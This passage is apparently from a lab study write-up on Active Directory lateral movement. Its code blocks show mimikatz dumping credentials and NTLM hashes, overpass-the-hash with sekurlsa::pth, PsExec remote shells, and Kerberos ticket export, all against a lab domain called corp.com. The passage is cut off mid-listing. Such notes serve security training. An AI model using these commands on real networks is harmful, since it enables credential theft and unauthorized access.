80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Privilege &amp;#39;20&amp;#39; OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Authentication Id : 0 ; 1142030 (00000000:00116d0e)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session : Interactive from 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User Name : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Server : DC1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Time : 2/27/2023 7:43:20 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SID : S-1-5-21-1987370270-658905905-1781884369-1124&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; msv :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [00000003] Primary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * NTLM : 369def79d8372408bf6e93364cc93075&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * DPAPI : ed6686fedb60840cd49b5286a7c08fa4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; tspkg :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; wdigest :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kerberos :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ssp :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; credman :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;domain : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;program : powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impers. : no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NTLM : 369def79d8372408bf6e93364cc93075&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | PID 8716&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | TID 8348&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | LSA Process is now R/W&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | LUID 0 ; 16534348 (00000000:00fc4b4c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ kerberos - data copy @ 000001F3D5D366C8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 -&amp;gt; null&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ *Password replace @ 000001F3D5C63B68 (32) -&amp;gt; null&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x1583ae&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The operations above open a new shell with PTH but create no tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net use \\files04&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x17239e&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (2)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#0&amp;gt; Client: jen @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: krbtgt/CORP.COM @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40e10000 -&amp;gt; forwardable renewable initial pre_authent name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 2/27/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 2/27/2023 15:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 3/6/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: RSADSI RC4-HMAC(NT)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0x1 -&amp;gt; PRIMARY&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called: DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1&amp;gt; Client: jen @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: cifs/files04 @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40a10000 -&amp;gt; forwardable renewable pre_authent name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 2/27/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 2/27/2023 15:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 3/6/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called: DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# With a cifs ticket, PTH can be performed directly as shown below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This may be more covert because it converts the HTLM hash into a Kerberos TGT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; cd C:\tools\SysinternalsSuite\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\tools\SysinternalsSuite&amp;gt; .\PsExec.exe \\files04 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec v2.4 - Execute processes remotely&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyright (C) 2001-2022 Mark Russinovich&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sysinternals - www.sysinternals.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Microsoft Windows [Version 10.0.20348.169]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(c) Microsoft Corporation. All rights reserved.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\system32&amp;gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;corp\jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\system32&amp;gt;hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FILES04&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Passing Tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;span class="lnt"&gt;83&#10;&lt;/span&gt;&lt;span class="lnt"&gt;84&#10;&lt;/span&gt;&lt;span class="lnt"&gt;85&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This was covered earlier but is noted again here&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;corp\jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls : Access to the path &amp;#39;\\web04\backup&amp;#39; is denied.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;At line:1 char:1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ ~~~~~~~~~~~~~~~~~&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz #privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Privilege &amp;#39;20&amp;#39; OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz #sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Authentication Id : 0 ; 2037286 (00000000:001f1626)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session : Batch from 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User Name : dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Server : DC1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Time : 9/14/2022 6:24:17 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SID : S-1-5-21-1987370270-658905905-1781884369-1103&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 0 - Ticket Granting Service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 1 - Client Ticket ?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 2 - Ticket Granting Ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [00000000]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Target Name (02) : krbtgt ; CORP ; @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Client Name (01) : dave ; @ CORP.COM ( CORP )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key : 0x00000012 - aes256_hmac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; dir *.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory: C:\Tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mode LastWriteTime Length Name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ------------- ------ ----&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 